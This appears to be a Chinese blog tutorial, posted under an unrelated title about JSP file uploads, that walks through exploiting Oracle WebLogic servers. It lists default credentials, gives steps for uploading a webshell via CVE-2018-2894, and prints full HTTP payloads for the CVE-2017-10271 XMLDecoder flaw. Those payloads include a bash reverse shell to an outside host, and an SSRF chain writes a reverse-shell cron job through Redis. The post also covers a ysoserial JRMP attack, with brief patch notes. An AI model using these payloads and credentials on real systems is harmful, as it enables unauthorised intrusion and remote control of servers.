jsp上传文件如何实现(jsp获取上传文件名)

jsp上传文件如何实现(jsp获取上传文件名)

https://www.cnblogs.com/-mo-/

0x01 Weblogic简介1.1 叙述

Weblogic是美国Oracle公司出品的一个应用服务器(application server),确切的说是一个基于Java EE架构的中间件,是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。

Weblogic将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中,是商业市场上主要的Java(Java EE)应用服务器软件之一,也是世界上第一个成功商业化的Java EE应用服务器,具有可扩展性、快速开发、灵活、可靠等优势。

在扩展性上,Weblogic Server凭借其出色的群集技术,拥有处理关键Web应用系统问题所需的性能、可扩展性和高可用性。Weblogic Server既实现了网页群集,也实现了EJB组件群集,而且不需要任何专门的硬件或操作系统支持。网页群集可以实现透明的复制、负载平衡以及表示内容容错。无论是网页群集,还是组件群集,对于电子商务解决方案所要求的可扩展性和可用性都是至关重要的。

目前Weblogic在全球的使用量也占居前列,据统计,在全球范围内对互联网开放Weblogic服务的资产数量多达35382台,美国和中国的Weblogic的使用量接近Weblogic总使用量的70%,其中归属中国地区的资产数量为10562台。

1.2 Weblogic活跃的几个较新版本Weblogic 10.3.6.0Weblogic 12.1.3.0Weblogic 12.2.1.1Weblogic 12.2.1.2Weblogic 12.2.1.3

Weblogic常用端口:7001

输入http://your-ip:7001/console即可进入后台

2.2 Weblogic常见弱口令总结system:password weblogic:weblogic admin:secruityjoe:password mary:password system:sercuritywlcsystem: wlcsystem weblogic:Oracle@123https://cirt.net/passwords?criteria=weblogic0x03 任意文件上传漏洞(CVE-2018-2894)3.1 涉及版本10.3.6,12.1.312.2.1.2,12.2.1.3

2、进入未经授权的上传界面:http://your-ip/ws_utc/config.do

3、将“通用”下的“当前工作目录”路径设置为:

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

设置该目录的目的:将目录设置为ws_utc应用的静态文件css目录,访问这个目录是无需权限的

5、按键“F12”,选中上传文件名元素,该标签下有个id元素(时间戳id,下面会用到),复制它。

6、上传木马的访问路径:

http://your-ip:7001/ws_utc/css/config/keystore/[时间戳id]_[文件名]

3.2 如何防御及修复

1.设置Config.do页面登录授权后访问;2.IPS等防御产品可以加入相应的特征;3.升级到官方最新版本

工具利用 — XML反序列化漏洞检查工具

脚本利用 — CVE-2017-10271-poc.py

http://your-ip:7001/wls-wsat/CoordinatorPortType

POC:

POST /wls-wsat/CoordinatorPortType HTTP/1.1Host: your-ip:7001Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: text/xmlContent-Length: 638<soapenv:Envelope xmlns:soapenv=”http://schemas.xmlsoap.org/soap/envelope/”> <soapenv:Header> <work:WorkContext xmlns:work=”http://bea.com/2004/06/soap/workarea/”> <java><java version=”1.4.0″ class=”java.beans.XMLDecoder”> <object class=”java.io.PrintWriter”> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string> <void method=”println”><string> <![CDATA[<% out.print(“test”); %> ]]> </string> </void> <void method=”close”/> </object></java></java> </work:WorkContext> </soapenv:Header> <soapenv:Body/></soapenv:Envelope>

4.4 反弹一个shell

(1)nc监听本地端口:

nc -l -p 7089

(2)通过Burp,自行更改数据包,exp改为反弹shell的命令:

POST /wls-wsat/CoordinatorPortType HTTP/1.1Host: IP:7001Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: text/xmlContent-Length: 640<soapenv:Envelope xmlns:soapenv=”http://schemas.xmlsoap.org/soap/envelope/”> <soapenv:Header><work:WorkContext xmlns:work=”http://bea.com/2004/06/soap/workarea/”><java version=”1.4.0″ class=”java.beans.XMLDecoder”><void class=”java.lang.ProcessBuilder”><array class=”java.lang.String” length=”3″><void index=”0″><string>/bin/bash</string></void><void index=”1″><string>-c</string></void><void index=”2″><string>bash -i &gt;&amp; /dev/tcp/192.168.206.132/7089 0&gt;&amp;1</string></void></array><void method=”start”/></void></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>

(3)效果图:

4.5 如何防御与修复

1.临时解决方案根据攻击者利用POC分析发现所利用的为wls-wsat组件的CoordinatorPortType接口,若Weblogic服务器集群中未应用此组件,建议临时备份后将此组件删除,当形成防护能力后,再进行恢复。

根据实际环境路径,删除WebLogic wls-wsat组件:

rm -f /home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.warrm -f /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.warrm -rf /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat重启Weblogic域控制器服务:DOMAIN_NAME/bin/stopWeblogic.sh #停止服务DOMAIN_NAME/bin/startManagedWebLogic.sh #启动服务删除以上文件之后,需重启WebLogic。确认http://weblogic_ip/wls-wsat/是否为404页面

2.官方补丁修复

前往Oracle官网下载10月份所提供的安全补丁http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html

升级过程可参考:http://blog.csdn.net/qqlifu/article/details/49423839

0x05 Weblogic-SSRF漏洞(CVE-2014-4210)5.1 简介

SSRF(Server-Side Request Forgery),服务端请求伪造,是一种由攻击者构造形成由服务端发起请求的一个漏洞,一般情况下,SSRF攻击的目标是从外部网络无法访问的内部系统。

5.2 SSRF危害以及可实现的攻击行为

主机上本地敏感信息读取,对外网服务器所在的内网的本地端口进行扫描,获取服务的Banner信息

攻击运行在内外网主机的应用程序

通过访问默认文件对内网Web应用进行指纹识别

攻击内外网的Web应用,主要是使用GET参数就可以实现攻击

利用file协议读取本地文件

使用脚本简单探测:ssrf-poc_simple.py(基于python3.x)

10.0.0.0 ~ 10.255.255.255,172.16.0.0 ~ 172.31.255.255 192.168.0.0 ~ 192.168.255.255

开始手工进行内网探测,打开漏洞页面后,通过Search,产生数据包:

对operator参数进行修改数据:

观察现象,根据探测结果进行简要分析:

主机存活且端口存在

可访问的端口(且该端口是非http协议)

5.6 模拟攻击

现在模拟内网中存在一台Redis,我们来对他进行攻击:

尝试“利用注入HTTP头,来让Redis反弹shell”:

Weblogic的SSRF,在使用GET请求时,可以通过“

”(\r\n,换行符),来注入换行符。

某些服务(如Redis)是通过换行符来分隔每条命令

因此可以通过该SSRF攻击内网中的Redis服务器

根据已知条件,我们可以对这个页面的数据包做些手脚:

(1)将原本POST传输的数据,通过GET方式传输

(2)拼接好传输的数据后,通过注入换行符,发送三条redis命令,将弹shell脚本写入/etc/crontab:

Redis反弹shell脚本:

set 1 “\n\n\n\n* * * * * root bash -i >& /dev/tcp/172.18.0.1/7089 0>&1\n\n\n\n”config set dir /etc/config set dbfilename crontabsave

进行url编码:

test

set 1 “nnnn* * * * * root bash -i >& /dev/tcp/172.18.0.1/21 0>&1nnnn”
config set dir /etc/
config set dbfilename crontab
save

aaa

(3)在本地进行端口监听,同时发送编码后的payload:

nc -l -p 7089

(4)成功执行:

5.7 如何防御与修复

1.如果业务不需要UDDI功能,就关闭这个功能。可以删除uddiexporer文件夹,可以可在/weblogicPath/server/lib/uddiexplorer.war解压后,注释掉上面的jsp再打包。

2.安装oracle的更新包。http://www.oracle.com/technetwork/topics/security/cpujul2014-1972956.html

0x06 Java反序列化漏洞(CVE-2018-2628)6.1 Java序列化与Java反序列化

简介:Java序列化:即把Java对象转换为字节序列的过程Java反序列化:是指把字节序列恢复为Java对象的过程

作用:序列化与反序列化目的是为了让Java对象脱离Java运行环境的一种手段,可以有效的实现多平台之间的通信,对象持久化存储。

6.2 Java反序列化漏洞成因

在上述情况中所说的转换过程中,出现了漏洞,加之暴露或间接暴露出可反序列化的API,导致用户可以操作,并传入数据,或精心构造恶意代码。

6.3 相关历史漏洞简介#CVE-2015-4852 Weblogic 直接反序列化 是基于Weblogic t3协议引起远程代码执行的反序列化漏洞 #CVE-2016-0638 Weblogic 直接反序列化 基于Weblogic t3协议引起远程代码执行的反序列化漏洞 漏洞实为CVE-2015-4852绕过 拜Oracle一直以来的黑名单修复方式所赐 #CVE-2016-3510 基于Weblogic t3协议引起远程代码执行的反序列化漏洞 #CVE-2017-3248 基于Weblogic t3协议引起远程代码执行的反序列化漏洞 属于Weblogic JRMP反序列化 #CVE-2018-2628 基于Weblogic t3协议引起远程代码执行的反序列化漏洞 属于 Weblogic JRMP反序列化 #CVE-2018-2893 基于Weblogic t3协议引起远程代码执行的反序列化漏洞 实为CVE-2018-2628绕过 同样拜Oracle一直以来的黑名单修复方式所赐 属于Weblogic JRMP反序列化6.4 涉及版本10.3.6.0,12.1.3.0,12.2.1.2,12.2.1.36.5 漏洞复现

1.使用“nmap”探测目标信息,是否存在T3协议信息:

2.使用python脚本进行探测,是否存在漏洞(在Java反序列化漏洞 — CVE-2018-2628\CVE-2018-2628—0号中,基于python2.x版本)

3.根据前面探测的信息,我们发现目标存在Java反序列化漏洞,来让我们进一步攻击它吧,我们需要使用到“ysoserial”

4.首先使用ysoserial在攻击机上启动一个 JRMP server,输入以下命令:

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command][listen port]:攻击机要监听的端口[command]:想要执行的命令

5.开始使用44553.py脚本来向目标发送数据包(基于python2.x)

参考链接:

http://www.talkwithtrend.com/Article/178555

0x07 参考链接http://www.talkwithtrend.com/Article/178555http://www.storysec.com/kali-linux-install-docker.htmlhttps://github.com/Medicean/VulAppshttps://www.kingkk.com/2018/09/weblogic漏洞练习/https://xz.aliyun.com/t/140https://www.jianshu.com/p/08710cfde0f0https://www.secpulse.com/archives/38967.htmlhttps://github.com/rabbitmask/WeblogicScanhttp://www.admintony.com/CVE-2018-2628-WebLogic反序列化漏洞复现.htmlhttps://www.jianshu.com/p/42a3bb2b2c2chttps://github.com/k8gege/K8tools

发表评论

登录后才能评论